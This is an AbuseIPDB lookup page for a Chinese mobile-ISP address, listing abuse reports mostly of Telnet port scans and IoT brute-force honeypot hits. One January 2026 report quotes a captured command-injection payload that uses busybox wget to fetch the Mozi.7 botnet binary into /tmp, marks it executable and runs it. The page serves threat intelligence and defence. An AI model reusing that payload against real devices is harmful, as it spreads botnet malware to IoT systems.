JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 122.97.209.200

122.97.209.200 was found in our database!

This IP was reported 38 times. Confidence of Abuse is 33%: ?

33%

ISP	China Unicom Jiangsu province network
Usage Type	Mobile ISP
ASN	AS4837
Domain Name	chinaunicom.cn
Country	🇨🇳 China
City	Nanjing, Jiangsu

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 122.97.209.200

Whois 122.97.209.200

IP Abuse Reports for 122.97.209.200:

This IP address has been reported a total of 38 times from 24 distinct sources. 122.97.209.200 was first reported on April 28th 2025, and the most recent report was 5 hours ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇷 chronos	2026-06-13 08:46:52 (5 hours ago)	2026-06-13 05:26:16 UTC-3\|\|Unauthorized connection attempt detected for port scanning	Port Scan
🇧🇾 stroytrest	2026-06-13 07:57:28 (6 hours ago)	2026-06-13T10:57:27.744493+03:00 gate kernel: [1652046.908020] nftables: JAIL-TELNET IN=wan OUT= MAC ... show more 2026-06-13T10:57:27.744493+03:00 gate kernel: [1652046.908020] nftables: JAIL-TELNET IN=wan OUT= MAC= SRC=122.97.209.200 DST=xxx.xxx.xxx.xxx LEN=60 TOS=0x00 PREC=0x00 TTL=48 ID=1980 DF PROTO=TCP SPT=7627 DPT=23 WINDOW=5808 RES=0x00 SYN URGP=0 ... show less	Port Scan
🇬🇧 PeravixGroup	2026-06-13 01:05:36 (13 hours ago)	Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: ME ... show more Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: MEDIUM. Aaran.cloud show less	IoT Targeted Brute-Force
🇬🇧 PeravixGroup	2026-06-10 09:27:00 (3 days ago)	Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: ME ... show more Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: MEDIUM. Aaran.cloud show less	IoT Targeted Brute-Force
🇲🇳 Public CSIRT/CC of Mongolia	2026-06-10 02:33:19 (3 days ago)	Honeypot hit: Unauthorized connection attempt detected on 23/TELNET	Hacking IoT Targeted Port Scan
🇬🇧 PeravixGroup	2026-06-09 00:20:01 (4 days ago)	Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: ME ... show more Honeypot detection: Telnet / IoT device brute-force or exploitation attempt on port 23. Severity: MEDIUM. Aaran.cloud show less	IoT Targeted Brute-Force
🇦🇹 urnilxfgbez	2026-02-03 23:45:00 (4 months ago)	Last 24 Hours suspicious: (DPT=445\|DPT=3389\|DPT=22\|DPT=3306\|DPT=8080\|DPT=23\|DPT=5900\|DPT=1433)	Port Scan
🇹🇷 rtbh.com.tr	2026-02-03 00:11:20 (4 months ago)	list.rtbh.com.tr report: tcp/23	Brute-Force
🇨🇭 MLCloud	2026-01-26 05:19:04 (4 months ago)	Honeypot hit: HTTP/1.0 request on 8081 27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${I ... show more Honeypot hit: HTTP/1.0 request on 8081 27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}Mozi.7;${IFS}busybox${IFS}wget${IFS}http://%s:%d/Mozi.7;${IFS}chmod${IFS}777${IFS}Mozi.7;${IFS}./Mozi.7'%0A%27&loginUser=a&loginPwd=a; 8081 [1] TCP show less	Hacking Bad Web Bot
🇨🇳 ThreatBook.io	2026-01-26 01:52:14 (4 months ago)	ThreatBook Intelligence: Gateway more details on http://threatbook.io/ip/122.97.209.200	SSH
🇹🇼 kk_it_man	2025-10-07 14:00:02 (8 months ago)	honey catch	Port Scan
Anonymous	2025-09-29 03:42:52 (8 months ago)	Unauthorized connection attempt	Port Scan Hacking Exploited Host
Anonymous	2025-09-29 02:09:57 (8 months ago)	Unauthorized connection attempt on Port 23	Port Scan Hacking Exploited Host
🇺🇸 RAP	2025-09-23 07:30:52 (8 months ago)	2025-09-23 07:30:52 UTC Unauthorized activity to TCP port 2323. Telnet	Port Scan
🇺🇸 TPI-Abuse	2025-09-23 02:59:57 (8 months ago)	(mod_security) mod_security (id:210350) triggered by 122.97.209.200 (-): 1 in the last 300 secs; Por ... show more (mod_security) mod_security (id:210350) triggered by 122.97.209.200 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Mon Sep 22 22:59:50.066886 2025] [security2:error] [pid 25435:tid 25435] [client 122.97.209.200:23020] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close\|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close\|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found\|\|www.renju.net\|F\|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.renju.net"] [uri "/tournament/1496/game/55072/"] [unique_id "aNINJj4nsVryKAxNOunbbwAAAA0"], referer: https://www.renju.net/game/55072/ show less	Brute-Force Bad Web Bot Web App Attack

Showing 1 to 15 of 38 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 216.218.206.67

🇻🇪 201.249.205.94

🇵🇪 179.6.46.61

🇨🇳 175.10.114.119

🇮🇶 151.244.144.189

🇺🇸 57.141.20.59

🇳🇱 45.148.10.147

🇮🇶 185.166.25.150

🇮🇳 182.78.64.150

🇦🇷 181.47.157.69

🇮🇳 122.176.101.216

🇻🇳 103.200.25.198

🇨🇮 102.207.2.157

🇲🇦 102.53.15.18

🇨🇳 14.103.67.10

🇷🇴 2.57.122.177

🇬🇼 197.214.91.189

🇧🇩 160.187.175.142

🇨🇦 147.182.148.131

🇵🇭 143.44.156.5